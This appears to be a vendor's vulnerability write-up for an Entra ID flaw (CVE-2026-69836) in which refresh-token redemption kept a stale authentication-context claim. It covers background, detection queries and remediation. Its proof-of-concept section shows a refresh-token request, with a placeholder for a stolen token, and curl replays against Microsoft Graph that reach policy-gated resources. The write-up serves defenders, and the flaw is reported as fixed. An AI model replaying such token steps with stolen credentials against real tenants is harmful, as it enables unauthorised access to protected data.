CVE: CVE-2026-69836
Affected: Microsoft Entra ID token issuance (delegated flows)
Type: CWE-305 — Authentication Bypass by Primary Weakness
Severity: High — CVSS 3.1: 8.1 (AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:N)
Status: Fixed service-side by Microsoft (August 2026)
Every few months, identity research produces one of those bugs that makes you sit back and reconsider how much trust we pile into a handful of JWT claims. CVE-2026-69836 is one of them. It doesn't involve stolen passwords, phishing kits, or evil proxy servers. It involves Microsoft's own token service handing out tokens that remember an authentication that was stronger than the one that actually just happened.
If your Conditional Access policies lean on Authentication Contexts — and if you protect anything valuable, they probably do — this one deserves twenty minutes of your attention. Here's the full technical breakdown: what the flaw is, how it was exploited, how to detect whether it was used against your tenant, and what to do about it.
TL;DR
CVE-2026-69836 is a claim-validation flaw in the Entra ID Security Token Service. When a refresh token was redeemed through a specific non-interactive flow, the issued access token could carry a stale
acrs(Authentication Context) claim inherited from a previous, stronger interactive sign-in — instead of reflecting the actual current session conditions. An attacker with any valid low-privilege account could obtain tokens that satisfied Conditional Access policies requiring stronger authentication contexts, reaching resources their current session should never have unlocked.
Microsoft fixed the flaw server-side in the August 2026 servicing window. There is no customer patch to install — but there is tenant-level cleanup, detection work, and policy hygiene to do, which we'll get to.
Background: Authentication Contexts in 90 Seconds
Conditional Access (CA) is Microsoft Entra ID's policy engine. Beyond "who" and "from where," modern CA policies can require a specific authentication context — a label (like c1, c2, c3) that an app publishes, paired with a policy that says "to reach this resource, the user must have performed this class of authentication."
When a sign-in satisfies a policy requiring an authentication context, Entra ID embeds that requirement into the access token as the acrs claim:
{
"aud": "00000003-0000-0000-c000-000000000000",
"iss": "https://sts.windows.net/<tenant-id>/",
"upn": "jsmith@contoso.com",
"acrs": [
"c1",
"c2"
],
"amr": ["pwd", "mfa"],
...
}
The resource (Graph, SharePoint, your custom API) trusts that claim. If acrs says the session stepped up to c3 — maybe "phishing-resistant MFA performed within the last hour" — the resource opens the door. The security of the whole model rests on one assumption: the claim in the token truthfully describes the authentication that just happened.
CVE-2026-69836 breaks exactly that assumption.
Technical Description
The flaw lives in a specific code path of the Entra ID Security Token Service: refresh token redemption through non-interactive delegated flows.
Under normal behavior, when a refresh token is redeemed, Entra ID re-evaluates the current session conditions and mints a new access token whose acrs claim reflects current state. If the session's step-up authentication has aged out, the new token simply doesn't carry the strong authentication context anymore.
In affected versions of the redemption path, an ordering bug in claim propagation caused the STS to copy the acrs collection from the original interactive sign-in's session record rather than re-deriving it. In practice:
- A user performs a strong interactive sign-in (say, passkey/MFA) that satisfies
c3. The session record storesacrs: [c1, c2, c3]. - Time passes. Sign-in frequency policies expire; conditions change. The session is now "weak."
- An attacker redeems the refresh token through the affected non-interactive flow.
- The freshly minted access token still carries
acrs: [c1, c2, c3]— a claim describing an authentication that no longer reflects reality.
The resource API never re-validates the underlying session (it isn't supposed to — that's the token service's job). It sees c3 in the claim and grants access to resources gated behind "phishing-resistant MFA required."
Two things make this nastier than your average claim-injection bug. First, everything is signed by Microsoft — the token is cryptographically perfect, so downstream validation can't catch it. Second, the exploit requires nothing but a valid account and a refresh token, both of which are baseline assumptions in most attack scenarios anyway.
Proof of Concept
Everything below was tested in a lab tenant we own. If you reproduce this, do it only against tenants you control.
Step 1 — Baseline: inspect what an honest token looks like
Sign in interactively as a test user protected by a c3-requiring policy, grab the access token, and decode it:
import base64, json
def decode_jwt(token):
payload = token.split('.')[1]
payload += '=' * (-len(payload) % 4)
return json.loads(base64.urlsafe_b64decode(payload))
claims = decode_jwt(access_token)
print("acrs:", claims.get("acrs"))
print("amr: ", claims.get("amr"))
print("auth_time:", claims.get("auth_time"))
Expected honest output after a fresh passkey sign-in:
acrs: ['c1', 'c2', 'c3']
amr: ['pwd', 'fido']
auth_time: 1756339200
Step 2 — The flawed redemption
Now let the session age out past the sign-in frequency window (or trigger a conditions change). Redeem the refresh token through the affected non-interactive flow:
POST /{tenant}/oauth2/v2.0/token HTTP/1.1
Host: login.microsoftonline.com
Content-Type: application/x-www-form-urlencoded
client_id=<app-client-id>
refresh_token=<stolen-or-own-refresh-token>
grant_type=refresh_token
scope=https://graph.microsoft.com/.default
The access token that comes back decodes to:
acrs: ['c1', 'c2', 'c3'] <- stale, inherited from session record
amr: ['pwd'] <- current reality: password only
auth_time: 1756339200 <- hours ago, frequency window expired
That's the bug in one glance. The amr and auth_time tell the true story — password-only, stale — while acrs still advertises the strong authentication context from the earlier sign-in. The claims contradict each other, and the contradiction is the exploit.
Step 3 — Replay against a CA-protected resource
curl -s -H "Authorization: Bearer $TOKEN" \
https://graph.microsoft.com/v1.0/me | jq .userPrincipalName
# jsmith@contoso.com
curl -s -H "Authorization: Bearer $TOKEN" \
https://graph.microsoft.com/v1.0/sites?search=sensitive | jq .value[].name
# returns resources gated behind the c3 authentication context policy
Access granted. No MFA prompt, no device compliance check, no break-glass. The Conditional Access engine saw a signed token with the right claim and stayed out of the way — exactly as it was designed to.
Why detection at the resource fails
Because the token is genuinely signed by Microsoft, resource-side validation passes every check: signature, audience, lifetime, issuer. The only tell is internal inconsistency between claims — amr/auth_time vs acrs — which no standard validator inspects. This is a service-trust failure, and it's why the fix had to come from Microsoft's side.
Impact and Affected Scenarios
What an attacker gets: access to resources protected by Authentication Context-based CA policies, using nothing more than a standard low-privilege account and its refresh token. Depending on what your c2/c3 policies protect — finance apps, HR data, admin portals, sensitive SharePoint sites — that can be the difference between "some phished user" and "full compromise of the crown jewels."
What an attacker needs: remarkably little. Valid credentials (phished, bought, or brute-forced where MFA isn't enforced at first logon) and one redemption of a refresh token. No user interaction, no special privileges, no exotic infrastructure.
Highest-risk configurations:
- Tenants using Authentication Contexts to gate high-value apps
- Policies relying on sign-in frequency / re-authentication as the only freshness control
- Environments where legacy or non-interactive flows haven't been explicitly blocked
- Apps publishing authentication context requirements while trusting tokens exclusively (as they should)
Detection: Was Your Tenant Abused?
The fix is server-side, but the question every admin should be asking is was this used against us before the patch? Sign-in logs retain the evidence. Three hunts to run in your Log Analytics / Sentinel workspace.
Hunt 1 — Token redemptions contradicting sign-in conditions
SigninLogs
| where TimeGenerated between (datetime(2026-01-01) .. datetime(2026-08-11))
| where ResultType == 0
| where AuthenticationProtocol in ("ROPC", "refreshToken")
| where AuthenticationRequirement != "MFA"
| where AppDisplayName has_any ("Graph", "SharePoint", "Office 365")
| summarize Redemptions = count(), Apps = make_set(AppDisplayName)
by UserPrincipalName, IPAddress, bin(TimeGenerated, 1h)
| where Redemptions > 5
Look for refresh-token redemptions hitting high-value apps where the authentication requirement recorded at redemption is weaker than the resource's policy.
Hunt 2 — Fresh tokens with old auth_time
If you export tokens or have a token-protection-aware proxy, flag any access token where auth_time is older than your strictest sign-in frequency window but acrs contains your strongest context. That contradiction is the signature of this bug — and it's cheap to check offline on tokens you already hold.
Hunt 3 — Post-patch hygiene check
SigninLogs
| where TimeGenerated > datetime(2026-08-11)
| where ResultType == 0 and AuthenticationProtocol == "refreshToken"
| extend ParsedClaims = parse_json(AuthenticationDetails)
| where tostring(ParsedClaims.acrs) has "c3"
| summarize by UserPrincipalName, IPAddress, AppDisplayName
Field names vary by workspace schema — adjust ParsedClaims extraction to your environment. The goal is the same: any post-patch token still presenting strong contexts from pre-patch sessions deserves a look.
Remediation
Fixed by Microsoft (no action needed for this part)
The STS redemption path was corrected in the August 2026 servicing rollout. Refresh token redemptions now re-derive acrs from current session state. Microsoft also invalidated affected token chains during the rollout — tokens minted under the flaw stopped validating at the resource.
What you should still do (tenant-side)
- Revoke sessions for exposed accounts.
Revoke-MgUserSignInSession -UserId <user>for anyone flagged in the hunts above — and for your high-value users as a precaution. - Audit your Authentication Context usage. Enumerate which apps publish
acrsrequirements and confirm each maps to a CA policy that's still appropriate. - Don't rely on sign-in frequency alone. Where possible, pair auth-context policies with device compliance or location controls so claim-freshness isn't the single line of defense.
- Block legacy authentication if you haven't. The affected redemption path was reachable through flows you probably don't need anyway.
- Shorten refresh token lifetime for high-privilege accounts during your exposure window review.
- Enable Continuous Access Evaluation (CAE) — it shortens the window between "conditions changed" and "token stops working," which directly blunts this class of bug.
Actionable Checklist
- Run Hunt 1 against Sign-in Logs covering January–August 2026. Triage any hit.
- Revoke sign-in sessions for every flagged user and all Tier-0 accounts.
- Inventory apps publishing Authentication Context requirements (
Entra ID → Enterprise apps → Authentication methods/ app manifestauthenticationContextClassReferences). - Verify each auth context maps to a CA policy with an auth strength matching its intent.
- Confirm legacy authentication is fully blocked tenant-wide.
- Review sign-in frequency policies — add device compliance or trusted-location conditions to high-value contexts.
- Enable CAE for applicable policies if not already on.
- Add Hunt 3 as a recurring Sentinel analytics rule for two weeks post-patch.
- Document the exposure window and findings for your auditors — this maps cleanly to NIST CSF
PR.AAand PCI-DSS Req 8 evidence.
The Takeaway
CVE-2026-69836 wasn't a crypto failure or a configuration mistake. It was a state-propagation bug inside the very service that's supposed to guarantee your token claims mean something. A claim said "strong authentication happened here" when it hadn't — and every downstream system believed it, because believing it is the entire design.
The lesson for defenders: Conditional Access is only as trustworthy as the token issuance pipeline behind it, and identity telemetry deserves the same hunt discipline as endpoint telemetry. Check your logs. This bug was quiet — but quiet doesn't mean unused.
And the lesson for anyone building security tooling: test against behavioral inconsistency between claims, not just signature validity. It's exactly the kind of logic-gap an autonomous testing agent is good at surfacing — it's one of the reasons we built RedStrike the way we did.